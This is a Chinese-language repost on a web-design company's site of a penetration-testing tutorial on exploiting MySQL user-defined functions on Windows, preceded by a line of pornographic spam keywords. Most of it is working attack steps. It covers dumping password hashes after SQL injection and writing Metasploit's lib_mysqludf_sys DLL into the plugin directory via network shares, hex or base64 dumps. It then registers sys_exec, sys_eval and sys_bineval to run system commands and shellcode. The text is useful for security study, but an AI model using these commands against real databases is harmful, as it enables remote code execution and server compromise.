真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

怎么利用MySQLUDF進(jìn)行滲透測試

本篇內(nèi)容主要講解“怎么利用MySQL UDF進(jìn)行滲透測試”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“怎么利用MySQL UDF進(jìn)行滲透測試”吧!

創(chuàng)新互聯(lián)主要從事網(wǎng)站制作、成都做網(wǎng)站、網(wǎng)頁設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)雜多,十年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):13518219792

最近,我對(duì)某金融機(jī)構(gòu)做滲透時(shí)發(fā)現(xiàn)他們擁有自己的內(nèi)網(wǎng),并且后端使用的是MySQL 5.7 64-bit。根據(jù)以往的經(jīng)驗(yàn),我的合作伙伴大多都使用的是MSSQL,因此在我看來這是一個(gè)非常罕見的場景。我在web應(yīng)用中發(fā)現(xiàn)了SQL注入漏洞,使我可以從mysql.user dump用戶名和密碼,并且我還發(fā)現(xiàn)我的當(dāng)前權(quán)限允許我將文件寫入到磁盤。這也是促使我寫這篇文章的原因,希望向大家分享關(guān)于在Windows下UDF庫注入到MySQL并獲取代碼執(zhí)行和shell的技巧。此外,通過谷歌搜索相關(guān)技術(shù)時(shí),我也發(fā)現(xiàn)網(wǎng)上關(guān)于這方面的資源非常的少。因此,也希望通過我的分享讓你對(duì)該技術(shù)點(diǎn)有更加深入的理解。

為了重現(xiàn)該場景,我將托管最新的MySQL 5.7.21作為我的測試環(huán)境,并將‘–secure-file-priv=’參數(shù)設(shè)置為了空啟動(dòng)mysqld server。這樣我便能在內(nèi)網(wǎng)中使用基于union注入來檢索 mysql.user表中的用戶名和密碼。需要提醒大家的是,在MySQL 5.7及更高版本中,密碼列不再是‘password’而是‘a(chǎn)uthentication_string’。

# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

怎么利用MySQL UDF進(jìn)行滲透測試

注意,如果你已擁有憑據(jù),則可以使用metasploit的mysql_hashdump.rb輔助模塊來dump MySQL哈希值。當(dāng)我寫這篇博文時(shí),腳本需要更新以兼容MySQL 5.7,你可以在這里查看我的pull request。

用戶'osanda'的主機(jī)列允許來自192.168.0.*的連接,這意味著我們可以使用該用戶從該IP范圍進(jìn)行遠(yuǎn)程連接。我破解了密碼哈希并獲得了明文密碼。

怎么利用MySQL UDF進(jìn)行滲透測試

登錄到MySQL后,我查看了當(dāng)前用戶的權(quán)限。

select * from mysql.user where user = substring_index(user(), '@', 1) ;

怎么利用MySQL UDF進(jìn)行滲透測試

可以看到該用戶的權(quán)限非常的高,并且可以對(duì)文件進(jìn)行讀寫操作,因此我們可以考慮編寫UDF DLL庫以獲得代碼執(zhí)行的能力。

什么是UDF庫?

UDF表示的是MySQL中的用戶自定義函數(shù)。這就像在DLL中編寫自己的函數(shù)并在MySQL中調(diào)用它們一樣。我們將使用“l(fā)ib_mysqludf_sys_64.dll”DLL庫,你可以在Metasploit框架中找到它。你可以使用基于系統(tǒng)架構(gòu)的UDF庫,它們?cè)贛etasploit的安裝目錄“/usr/share/metasploit-framework/data/exploits/mysql/”。點(diǎn)擊這里查看下載。

首先,我們分別通過'@@ version_compile_os'和'@@ version_compile_machine',來獲取當(dāng)前數(shù)據(jù)庫及操作系統(tǒng)的架構(gòu)情況。結(jié)果如下,當(dāng)前的系統(tǒng)環(huán)境為windows 64位,MySQL也是64位的。

MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64                | x86_64                    |
+----------------------+---------------------------+
MySQL [(none)]> show variables like '%compile%';
+-------------------------+--------+
| Variable_name           | Value  |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os      | Win64  |
+-------------------------+--------+

怎么利用MySQL UDF進(jìn)行滲透測試

從MySQL 5.0.67開始,UDF庫必須包含在plugin文件夾中,我們可以使用'@@ plugin_dir'全局變量找到該目錄。該變量可以在mysql.ini文件中查看和編輯。

MySQL [(none)]> select @@plugin_dir ;
+--------------------------------------------------------------+
| @@plugin_dir                                                 |
+--------------------------------------------------------------+
| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+--------------------------------------------------------------+
1 row in set (0.02 sec)

MySQL [(none)]> show variables like 'plugin%';
+---------------+--------------------------------------------------------------+
| Variable_name | Value                                                        |
+---------------+--------------------------------------------------------------+
| plugin_dir    | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+---------------+--------------------------------------------------------------+

怎么利用MySQL UDF進(jìn)行滲透測試

你可以通過mysqld更改plugin的目錄位置。

mysqld.exe –plugin-dir=C:\\temp\\plugins\\

另一種方法是編寫一個(gè)新的mysql配置文件,并通過–defaults-file參數(shù)將其傳遞給mysqld。

mysqld.exe --defaults-file=C:\\temp\\my.ini

‘my.ini’中的內(nèi)容如下:

[mysqld]
plugin_dir = C:\\temp\\plugins\\

而在MySQL 5.0.67以下的版本中,文件必須位于系統(tǒng)動(dòng)態(tài)鏈接器的搜索目錄中。這同樣適用于4.1.25之前的版本,具體可參考以下文檔。

從MySQL 5.0.67開始,文件必須位于plugin目錄中。該目錄取決于plugin_dir系統(tǒng)變量的值。如果plugin_dir的值為空,則參照5.0.67之前即文件必須位于系統(tǒng)動(dòng)態(tài)鏈接器的搜索目錄中。

從MySQL 4.1.25開始,文件必須位于plugin目錄中。該目錄取決于plugin_dir系統(tǒng)變量的值。如果plugin_dir的值為空,則參照4.1.25之前即文件必須位于系統(tǒng)動(dòng)態(tài)鏈接器的搜索目錄中。

在舊版本中,你可以將DLL文件上傳到以下位置并創(chuàng)建新的UDF函數(shù)。

  • @@datadir

  • @@basedir\bin

  • C:\windows

  • C:\windows\system

  • C:\windows\system32

上傳二進(jìn)制文件

有很多方法可以做到這一點(diǎn)。 load_file函數(shù)支持網(wǎng)絡(luò)路徑。如果你可以將DLL復(fù)制到網(wǎng)絡(luò)共享中,那么你就可以直接加載并將它寫入磁盤。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

另一種方法是將整個(gè)DLL文件以十六進(jìn)制編碼后寫入磁盤。

select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

還有一種方法是創(chuàng)建一個(gè)表并將二進(jìn)制數(shù)據(jù)插入到十六進(jìn)制編碼流中。你可以通過insert語句或?qū)⑵浞纸鉃槎鄠€(gè)部分,然后通過update語句拼接二進(jìn)制數(shù)據(jù)。

create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

或者你也可以直接從磁盤將文件從網(wǎng)絡(luò)共享加載到上面創(chuàng)建的表中,或使用“快速導(dǎo)入數(shù)據(jù)(load data infile)”語句在本地加載。將文件像上面顯示的那樣轉(zhuǎn)換為十六進(jìn)制,并在寫入磁盤時(shí)解碼。

load data infile '\\\\192.168.0.19\\network\\udf.hex' 
into table temp fields terminated by '@OsandaMalith' 
lines terminated by '@OsandaMalith' (data);

select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

這里有個(gè)好消息,就是從MySQL 5.6.1和MariaDB 10.0.5開始,新增了to_base64和from_base64函數(shù)。如果你是一個(gè)善于繞過SQL注入WAF的人,相信你已經(jīng)在使用這些函數(shù)了(提示:路由查詢注入)。

select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';

你可以編輯base64文件并通過以下方式將其dump到插件目錄。

select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") 
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

之后,你可以像這樣將整個(gè)文件傳遞給mysql。

mysql -h292.168.0.30 -uosanda -pabc123 < /tmp/udf.b64

你也可以從網(wǎng)絡(luò)共享寫入base64編碼文件或使用“快速導(dǎo)入數(shù)據(jù)(load data infile)”語句在本地加載并通過以下語句dump。

select from_base64(data) from temp 
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

DLL探索

在網(wǎng)上我翻閱了不少的資料,但大多都只介紹了Metasploit內(nèi)部這個(gè)DLL中的'sys_exec'函數(shù)。那么除了這個(gè)函數(shù)之外,其它的函數(shù)是否也能為我們所用?通過導(dǎo)出該目錄,我發(fā)現(xiàn)作者也寫了許多其它非常實(shí)用的函數(shù)。如下所示:

怎么利用MySQL UDF進(jìn)行滲透測試

sys_exec

該函數(shù)將在“系統(tǒng)”函數(shù)內(nèi)傳遞參數(shù)'args-> args [0]'。你可以使用它在目標(biāo)機(jī)器上執(zhí)行系統(tǒng)命令。

怎么利用MySQL UDF進(jìn)行滲透測試

安裝

create function sys_exec returns int soname 'udf.dll';

驗(yàn)證

select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_exec |   2 | udf.dll | function |
+----------+-----+---------+----------+

怎么利用MySQL UDF進(jìn)行滲透測試

刪除

drop function sys_exec;

sys_eval

該函數(shù)將執(zhí)行系統(tǒng)命令并在屏幕上通過標(biāo)準(zhǔn)輸出顯示。

怎么利用MySQL UDF進(jìn)行滲透測試

安裝

create function sys_eval returns string soname 'udf.dll';

驗(yàn)證

select * from mysql.func where name = 'sys_eval';

刪除

drop function sys_eval;

示例

select sys_eval('dir');

怎么利用MySQL UDF進(jìn)行滲透測試

sys_get

該函數(shù)使用'getenv'函數(shù)返回系統(tǒng)變量的值。

怎么利用MySQL UDF進(jìn)行滲透測試

安裝

create function sys_get returns string soname 'udf.dll';

驗(yàn)證

select * from mysql.func where name = 'sys_get';

刪除

Drop function sys_get;

示例

Select sys_get('longonserver');

怎么利用MySQL UDF進(jìn)行滲透測試

執(zhí)行Shellcode – sys_bineval

我在這個(gè)DLL里面找到了一個(gè)非常實(shí)用的函數(shù)'sys_bineval'。該函數(shù)將使用'VirtualAlloc'API分配RWX內(nèi)存,并使用'strcpy'將'args-> args [0]'復(fù)制到新分配的內(nèi)存中。然后,這個(gè)緩沖區(qū)被傳遞給'CreateThread'API來產(chǎn)生一個(gè)新的線程。

怎么利用MySQL UDF進(jìn)行滲透測試

如果我們查看'CreateThread'API,可以看到它使用'strcpy'復(fù)制緩沖區(qū)的'lpParameter'作為指針傳遞給線程的變量。'StartAddress'中的函數(shù)將直接移動(dòng)'lpParamter'并調(diào)用ptr rax,這將改變RIP到我們的shellcode。

怎么利用MySQL UDF進(jìn)行滲透測試

安裝

create function sys_bineval returns int soname 'udf.dll';

驗(yàn)證

select * from mysql.func where name = 'sys_bineval';

刪除

drop function sys_bineval;

示例

然而,我并沒有在64位的平臺(tái)成功執(zhí)行該函數(shù),在32位的平臺(tái)該函數(shù)正常執(zhí)行。你可以直接打開原始二進(jìn)制文件或?qū)⑵渚幋a為base64或十六進(jìn)制并實(shí)用該函數(shù)執(zhí)行。

select sys_bineval(from_base64(load_file('./calc.b64')));

怎么利用MySQL UDF進(jìn)行滲透測試

我注意到這些外部UDF函數(shù)在拆解代碼中沒有做適當(dāng)?shù)漠惓L幚?。因此,在調(diào)用這些函數(shù)時(shí)稍有錯(cuò)誤就會(huì)導(dǎo)致mysqld.exe服務(wù)器崩潰。

到此,相信大家對(duì)“怎么利用MySQL UDF進(jìn)行滲透測試”有了更深的了解,不妨來實(shí)際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!


本文名稱:怎么利用MySQLUDF進(jìn)行滲透測試
分享URL:http://weahome.cn/article/geojsd.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部